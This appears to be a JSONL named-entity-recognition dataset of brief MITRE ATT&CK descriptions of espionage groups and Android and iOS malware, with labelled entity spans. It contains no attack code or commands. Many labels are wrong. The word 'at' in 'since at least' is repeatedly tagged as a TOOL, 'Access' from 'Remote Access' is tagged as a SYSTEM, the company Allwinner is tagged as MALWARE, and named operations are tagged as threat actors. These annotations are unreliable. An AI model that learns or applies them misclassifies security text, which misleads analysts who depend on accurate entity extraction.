{"text": "MoustachedBouncer is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.", "spans": {"THREAT_ACTOR: MoustachedBouncer": [[0, 17]], "TOOL: at": [[71, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1019"}}
{"text": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.", "spans": {"THREAT_ACTOR: CopyKittens": [[0, 11]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0052"}}
{"text": "Star Blizzard is a cyber espionage and influence group originating in Russia that has been active since at least 2019. Star Blizzard campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.", "spans": {"THREAT_ACTOR: Star Blizzard": [[0, 13], [119, 132]], "TOOL: at": [[104, 106]], "ORGANIZATION: NATO": [[321, 325]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1033"}}
{"text": "Thrip is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques.", "spans": {"THREAT_ACTOR: Thrip": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0076"}}
{"text": "PROMETHIUM is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics.", "spans": {"THREAT_ACTOR: PROMETHIUM": [[0, 10], [181, 191]], "TOOL: at": [[80, 82]], "THREAT_ACTOR: NEODYMIUM": [[253, 262]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0056"}}
{"text": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.", "spans": {"THREAT_ACTOR: GCMAN": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0036"}}
{"text": "Ferocious Kitten is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.", "spans": {"THREAT_ACTOR: Ferocious Kitten": [[0, 16]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0137"}}
{"text": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.", "spans": {"THREAT_ACTOR: PittyTiger": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0011"}}
{"text": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.", "spans": {"THREAT_ACTOR: APT17": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0025"}}
{"text": "Water Galura are the operators of the Qilin Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for Qilin affilates recruited on Russian cybercrime forums. Water Galura have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.", "spans": {"THREAT_ACTOR: Water Galura": [[0, 12], [222, 234]], "MALWARE: Qilin": [[38, 43], [166, 171]], "TOOL: at": [[258, 260]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1050"}}
{"text": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks.   A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.", "spans": {"THREAT_ACTOR: BlackOasis": [[0, 10], [337, 347]], "ORGANIZATION: United Nations": [[151, 165]], "ORGANIZATION: Microsoft": [[276, 285]], "THREAT_ACTOR: NEODYMIUM": [[289, 298]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0063"}}
{"text": "IndigoZebra is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.", "spans": {"THREAT_ACTOR: IndigoZebra": [[0, 11]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0136"}}
{"text": "SilverTerrier is a Nigerian threat group that has been seen active since 2014. SilverTerrier mainly targets organizations in high technology, higher education, and manufacturing.", "spans": {"THREAT_ACTOR: SilverTerrier": [[0, 13], [79, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0083"}}
{"text": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.", "spans": {"THREAT_ACTOR: Strider": [[0, 7]], "TOOL: at": [[53, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0041"}}
{"text": "AppleJeus is a North Korean state-sponsored threat group attributed to the Reconnaissance General Bureau. Associated with the broader Lazarus Group umbrella of actors, AppleJeus has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella. The group’s primary mission is to generate and launder revenue to provide financial support to the government. AppleJeus primarily targets the cryptocurrency industry and is most notably responsible for the 3CX Supply Chain Attack. The group traditionally deploys malicious cryptocurrency software in combination with Phishing. From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.", "spans": {"THREAT_ACTOR: AppleJeus": [[0, 9], [168, 177], [434, 443]], "THREAT_ACTOR: Lazarus Group": [[134, 147]], "TOOL: at": [[200, 202]], "THREAT_ACTOR: 3CX Supply Chain Attack": [[530, 553]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1049"}}
{"text": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.", "spans": {"THREAT_ACTOR: Scarlet Mimic": [[0, 13], [282, 295]], "THREAT_ACTOR: Putter Panda": [[300, 312]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0029"}}
{"text": "TA578 is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including Latrodectus, IcedID, and Bumblebee.", "spans": {"THREAT_ACTOR: TA578": [[0, 5]], "MALWARE: Latrodectus": [[138, 149]], "MALWARE: IcedID": [[151, 157]], "MALWARE: Bumblebee": [[163, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1038"}}
{"text": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.", "spans": {"THREAT_ACTOR: APT16": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0023"}}
{"text": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK.", "spans": {"THREAT_ACTOR: Moafee": [[0, 6], [143, 149]], "THREAT_ACTOR: DragonOK": [[225, 233]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0002"}}
{"text": "NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics.   NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.", "spans": {"THREAT_ACTOR: NEODYMIUM": [[0, 9], [251, 260]], "THREAT_ACTOR: PROMETHIUM": [[182, 192]], "THREAT_ACTOR: BlackOasis": [[299, 309]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0055"}}
{"text": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee.  It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.", "spans": {"THREAT_ACTOR: DragonOK": [[0, 8], [147, 155]], "THREAT_ACTOR: Moafee": [[231, 237]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0017"}}
{"text": "APT-C-23 is a threat group that has been active since at least 2014. APT-C-23 has primarily focused its operations on the Middle East, including Israeli military assets. APT-C-23 has developed mobile spyware targeting Android and iOS devices since 2017.", "spans": {"THREAT_ACTOR: APT-C-23": [[0, 8], [69, 77], [170, 178]], "TOOL: at": [[54, 56]], "SYSTEM: Android": [[218, 225]], "SYSTEM: iOS": [[230, 233]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1028"}}
{"text": "CarbonSteal is one of a family of four surveillanceware tools that share a common C2 infrastructure. CarbonSteal primarily deals with audio surveillance.", "spans": {"MALWARE: CarbonSteal": [[0, 11], [101, 112]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0529"}}
{"text": "Cerberus is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of Cerberus claim was used in private operations for two years.", "spans": {"MALWARE: Cerberus": [[0, 8], [144, 152]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0480"}}
{"text": "DroidJack is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games.", "spans": {"MALWARE: DroidJack": [[0, 9]], "SYSTEM: Android": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0320"}}
{"text": "Rotexy is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.", "spans": {"MALWARE: Rotexy": [[0, 6]], "SYSTEM: Android": [[13, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0411"}}
{"text": "Stealth Mango is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as Tangelo is believed to be from the same developer.", "spans": {"MALWARE: Stealth Mango": [[0, 13]], "SYSTEM: Android": [[17, 24]], "SYSTEM: iOS": [[201, 204]], "MALWARE: Tangelo": [[222, 229]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0328"}}
{"text": "Allwinner is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by Allwinner for use on these devices reportedly contained a backdoor.", "spans": {"MALWARE: Allwinner": [[0, 9], [121, 130]], "SYSTEM: Android": [[56, 63]], "SYSTEM: Linux": [[93, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0319"}}
{"text": "GoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.", "spans": {"MALWARE: GoldenEagle": [[0, 11]], "SYSTEM: Android": [[26, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0551"}}
{"text": "FlixOnline is an Android malware, first detected in early 2021, believed to target users of WhatsApp. FlixOnline primarily spreads via automatic replies to a device’s incoming WhatsApp messages.", "spans": {"MALWARE: FlixOnline": [[0, 10], [102, 112]], "SYSTEM: Android": [[17, 24]], "SYSTEM: WhatsApp": [[92, 100], [176, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1103"}}
{"text": "Bread was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store’s malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.", "spans": {"MALWARE: Bread": [[0, 5], [212, 217]], "ORGANIZATION: Google": [[160, 166], [258, 264]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0432"}}
{"text": "TriangleDB is an Objective-C written implant deployed after Binary Validator and after root privileges are obtained during Operation Triangulation’s infection chain. Upon execution, TriangleDB communicates with the C2 server, relaying information about the victim device.", "spans": {"MALWARE: TriangleDB": [[0, 10], [182, 192]], "MALWARE: Binary Validator": [[60, 76]], "THREAT_ACTOR: Operation Triangulation": [[123, 146]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1216"}}
{"text": "Hornbill is one of two mobile malware families known to be used by the APT Confucius. Analysis suggests that Hornbill was first active in early 2018. While Hornbill and Sunbird overlap in core capabilities, Hornbill has tools and behaviors suggesting more passive reconnaissance.", "spans": {"MALWARE: Hornbill": [[0, 8], [109, 117], [156, 164], [207, 215]], "THREAT_ACTOR: Confucius": [[75, 84]], "MALWARE: Sunbird": [[169, 176]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1077"}}
{"text": "Judy is auto-clicking adware that was distributed through multiple apps in the Google Play Store.", "spans": {"MALWARE: Judy": [[0, 4]], "ORGANIZATION: Google": [[79, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0325"}}
{"text": "OldBoot is an Android malware family.", "spans": {"MALWARE: OldBoot": [[0, 7]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0285"}}
{"text": "Gooligan is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. Gooligan has been described as part of the Ghost Push Android malware family.", "spans": {"MALWARE: Gooligan": [[0, 8], [221, 229]], "SYSTEM: Android": [[72, 79], [275, 282]], "ORGANIZATION: Google": [[200, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0290"}}
{"text": "SpyNote RAT (Remote Access Trojan) is a family of malicious Android apps. The SpyNote RAT builder tool can be used to develop malicious apps with the malware's functionality.", "spans": {"MALWARE: SpyNote RAT": [[0, 11], [78, 89]], "SYSTEM: Access": [[20, 26]], "SYSTEM: Android": [[60, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0305"}}
{"text": "TrickMo a 2FA bypass mobile banking trojan, most likely being distributed by TrickBot. TrickMo has been primarily targeting users located in Germany.\n\nTrickMo is designed to steal transaction authorization numbers (TANs), which are typically used as one-time passwords.", "spans": {"MALWARE: TrickMo": [[0, 7], [87, 94], [151, 158]], "MALWARE: TrickBot": [[77, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0427"}}
{"text": "INSOMNIA is spyware that has been used by the group Evil Eye.", "spans": {"MALWARE: INSOMNIA": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0463"}}
{"text": "Dvmap is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.", "spans": {"MALWARE: Dvmap": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0420"}}
{"text": "Zen is Android malware that was first seen in 2013.", "spans": {"MALWARE: Zen": [[0, 3]], "SYSTEM: Android": [[7, 14]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0494"}}
{"text": "NotCompatible is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time.", "spans": {"MALWARE: NotCompatible": [[0, 13]], "SYSTEM: Android": [[20, 27]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0299"}}
{"text": "AhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, “iRecorder – Screen Recorder,” which itself was released in September 2021.", "spans": {"MALWARE: AhRat": [[0, 5], [91, 96]], "SYSTEM: Android": [[12, 19]], "ORGANIZATION: Google": [[136, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1095"}}
{"text": "XLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application. It is tracked separately from the XLoader for iOS.", "spans": {"MALWARE: XLoader for Android": [[0, 19]], "SYSTEM: Android": [[35, 42]], "MALWARE: XLoader for iOS": [[252, 267]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0318"}}
{"text": "Trojan-SMS.AndroidOS.FakeInst.a is Android malware.", "spans": {"MALWARE: Trojan-SMS.AndroidOS.FakeInst.a": [[0, 31]], "SYSTEM: Android": [[35, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0306"}}
{"text": "XLoader for iOS is a malicious iOS application that is capable of gathering system information. It is tracked separately from the XLoader for Android.", "spans": {"MALWARE: XLoader for iOS": [[0, 15]], "SYSTEM: iOS": [[31, 34]], "MALWARE: XLoader for Android": [[130, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0490"}}
{"text": "AbstractEmu is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. AbstractEmu was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.", "spans": {"MALWARE: AbstractEmu": [[0, 11], [239, 250]], "ORGANIZATION: Google": [[53, 59]], "SYSTEM: Android": [[135, 142], [190, 197]], "TOOL: at": [[166, 168]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1061"}}
{"text": "Chameleon is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of Chameleon has expanded its targets to include Android users in the United Kingdom and Italy.", "spans": {"MALWARE: Chameleon": [[0, 9], [175, 184], [302, 311]], "SYSTEM: Android": [[16, 23], [57, 64], [348, 355]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1083"}}
{"text": "Exodus is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).", "spans": {"MALWARE: Exodus": [[0, 6], [64, 70], [89, 95]], "SYSTEM: Android": [[10, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0405"}}
{"text": "Dendroid is an Android remote access tool (RAT) primarily targeting Western countries. The RAT was available for purchase for $300 and came bundled with a utility to inject the RAT into legitimate applications.", "spans": {"MALWARE: Dendroid": [[0, 8]], "SYSTEM: Android": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0301"}}
{"text": "WireLurker is a family of macOS malware that targets iOS devices connected over USB.", "spans": {"MALWARE: WireLurker": [[0, 10]], "SYSTEM: macOS": [[26, 31]], "SYSTEM: iOS": [[53, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0312"}}
{"text": "Desert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23. \n\nThere are multiple close variants of Desert Scorpion, such as VAMP, GnatSpy, FrozenCell and SpyC23, which add some additional functionality but are not significantly different from the original malware.", "spans": {"MALWARE: Desert Scorpion": [[0, 15], [118, 133], [238, 253]], "THREAT_ACTOR: APT-C-23": [[189, 197]], "MALWARE: FrozenCell": [[278, 288]], "MALWARE: SpyC23": [[293, 299]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0505"}}
{"text": "Pegasus for iOS is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. The Android version is tracked separately under Pegasus for Android.", "spans": {"MALWARE: Pegasus for iOS": [[0, 15]], "SYSTEM: iOS": [[23, 26]], "SYSTEM: Android": [[162, 169]], "MALWARE: Pegasus for Android": [[206, 225]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0289"}}
{"text": "Tangelo is iOS malware that is believed to be from the same developers as the Stealth Mango Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices.", "spans": {"MALWARE: Tangelo": [[0, 7]], "SYSTEM: iOS": [[11, 14], [201, 204]], "MALWARE: Stealth Mango": [[78, 91]], "SYSTEM: Android": [[92, 99]], "SYSTEM: Debian": [[154, 160]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0329"}}
{"text": "RCSAndroid is Android malware.", "spans": {"MALWARE: RCSAndroid": [[0, 10]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0295"}}
{"text": "Corona Updates is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.", "spans": {"MALWARE: Corona Updates": [[0, 14]], "SYSTEM: Android": [[18, 25]], "ORGANIZATION: Google": [[231, 237]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0425"}}
{"text": "Skygofree is Android spyware that is believed to have been developed in 2014 and used through at least 2017.", "spans": {"MALWARE: Skygofree": [[0, 9]], "SYSTEM: Android": [[13, 20]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0327"}}
{"text": "KeyRaider is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality.", "spans": {"MALWARE: KeyRaider": [[0, 9]], "ORGANIZATION: Apple": [[33, 38]], "SYSTEM: iOS": [[90, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0288"}}
{"text": "ZergHelper is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks.", "spans": {"MALWARE: ZergHelper": [[0, 10]], "SYSTEM: iOS": [[14, 17]], "ORGANIZATION: Apple": [[74, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0287"}}
{"text": "CherryBlos is an Android malware that steals credentials and redirects cryptocurrency to adversary-controlled wallets. CherryBlos was labelled Robot 999 in its first appearance in April 2023; since then, various aliases have been used, including GPTalk, Happy Miner, and SynthNet. The threat actors behind CherryBlos uploaded the malware to different Google Play regions, such as Malaysia, Vietnam, Indonesia, Philippines, Uganda, and Mexico.", "spans": {"MALWARE: CherryBlos": [[0, 10], [119, 129], [306, 316]], "SYSTEM: Android": [[17, 24]], "ORGANIZATION: Google": [[351, 357]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1225"}}
{"text": "DoubleAgent is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.", "spans": {"MALWARE: DoubleAgent": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0550"}}
{"text": "Twitoor is a dropper application capable of receiving commands from social media.", "spans": {"MALWARE: Twitoor": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0302"}}
{"text": "Fakecalls is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.", "spans": {"MALWARE: Fakecalls": [[0, 9]], "SYSTEM: Android": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1080"}}
{"text": "S.O.V.A. is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. S.O.V.A., which is Russian for \"owl\", contains features not commonly found in Android malware, such as session cookie theft.", "spans": {"MALWARE: S.O.V.A.": [[0, 8], [211, 219]], "SYSTEM: Android": [[15, 22], [289, 296]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1062"}}
{"text": "ANDROIDOS_ANSERVER.A is Android malware that is unique because it uses encrypted content within a blog site for command and control.", "spans": {"MALWARE: ANDROIDOS_ANSERVER.A": [[0, 20]], "SYSTEM: Android": [[24, 31]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0310"}}
{"text": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.", "spans": {"MALWARE: DualToy": [[0, 7]], "SYSTEM: Windows": [[11, 18]], "SYSTEM: Android": [[69, 76]], "SYSTEM: iOS": [[81, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0315"}}
{"text": "Mandrake is a sophisticated Android espionage platform that has been active in the wild since at least 2016. Mandrake is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.\n\nMandrake has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.", "spans": {"MALWARE: Mandrake": [[0, 8], [109, 117], [231, 239]], "SYSTEM: Android": [[28, 35]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0485"}}
{"text": "HilalRAT is a remote access-capable Android malware, developed and used by UNC788.   HilalRAT is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as activating a device's camera and microphone.", "spans": {"MALWARE: HilalRAT": [[0, 8], [85, 93]], "SYSTEM: Android": [[36, 43]], "THREAT_ACTOR: UNC788": [[75, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1128"}}
{"text": "X-Agent for Android is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery.  Is it tracked separately from the CHOPSTICK.", "spans": {"MALWARE: X-Agent for Android": [[0, 19]], "SYSTEM: Android": [[23, 30]], "MALWARE: CHOPSTICK": [[337, 346]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0314"}}
{"text": "DEFENSOR ID is a banking trojan capable of clearing a victim’s bank account or cryptocurrency wallet and taking over email or social media accounts. DEFENSOR ID performs the majority of its malicious functionality by abusing Android’s accessibility service.", "spans": {"MALWARE: DEFENSOR ID": [[0, 11], [149, 160]], "SYSTEM: Android": [[225, 232]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0479"}}
{"text": "BRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.", "spans": {"MALWARE: BRATA": [[0, 5], [155, 160], [344, 349]], "SYSTEM: Access": [[24, 30]], "SYSTEM: Android": [[37, 44], [62, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1094"}}
{"text": "MazarBOT is Android malware that was distributed via SMS in Denmark in 2016.", "spans": {"MALWARE: MazarBOT": [[0, 8]], "SYSTEM: Android": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0303"}}
{"text": "Ginp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.", "spans": {"MALWARE: Ginp": [[0, 4]], "SYSTEM: Android": [[11, 18]], "MALWARE: Anubis": [[119, 125]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0423"}}
{"text": "HummingWhale is an Android malware family that performs ad fraud.", "spans": {"MALWARE: HummingWhale": [[0, 12]], "SYSTEM: Android": [[19, 26]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0321"}}
{"text": "eSurv is mobile surveillanceware designed for the lawful intercept market that was developed over the course of many years.", "spans": {"MALWARE: eSurv": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0507"}}
{"text": "TangleBot is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. TangleBot has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to FluBot Android malware campaigns.", "spans": {"MALWARE: TangleBot": [[0, 9], [138, 147]], "MALWARE: FluBot": [[283, 289]], "SYSTEM: Android": [[290, 297]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1069"}}
{"text": "Monokle is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.", "spans": {"MALWARE: Monokle": [[0, 7]], "SYSTEM: Android": [[80, 87]], "SYSTEM: iOS": [[140, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0407"}}
{"text": "RatMilad is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of RatMilad have been disguised as VPN applications and a fake app named NumRent. Upon installation, RatMilad employs multiple Collection techniques to collect sensitive information before uploading the collected data to its command and control (C2) server.", "spans": {"MALWARE: RatMilad": [[0, 8], [182, 190], [280, 288]], "SYSTEM: Android": [[15, 22]], "TOOL: at": [[155, 157]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1241"}}
{"text": "DCHSpy is an Android spyware likely used by MuddyWater. DCHSpy uses political decoys and masquerades as legitimate applications, such as VPNs and banking applications, to trick victims into downloading the malware. Once downloaded, DCHSpy collects information from the device and exfiltrates the data to the command and control (C2) server.", "spans": {"MALWARE: DCHSpy": [[0, 6], [56, 62], [232, 238]], "SYSTEM: Android": [[13, 20]], "THREAT_ACTOR: MuddyWater": [[44, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1243"}}
{"text": "Red Alert 2.0 is a banking trojan that masquerades as a VPN client.", "spans": {"MALWARE: Red Alert 2.0": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0539"}}
{"text": "ViceLeaker is a spyware framework, capable of extensive surveillance and data exfiltration operations, primarily targeting devices belonging to Israeli citizens.", "spans": {"MALWARE: ViceLeaker": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0418"}}
{"text": "FlyTrap is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. FlyTrap was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.", "spans": {"MALWARE: FlyTrap": [[0, 7], [130, 137]], "SYSTEM: Android": [[14, 21]], "ORGANIZATION: Facebook": [[111, 119]], "ORGANIZATION: Google": [[190, 196]], "TOOL: at": [[269, 271]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1093"}}
{"text": "FakeSpy is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.", "spans": {"MALWARE: FakeSpy": [[0, 7]], "SYSTEM: Android": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0509"}}
{"text": "SpyDealer is Android malware that exfiltrates sensitive data from Android devices.", "spans": {"MALWARE: SpyDealer": [[0, 9]], "SYSTEM: Android": [[13, 20], [66, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0324"}}
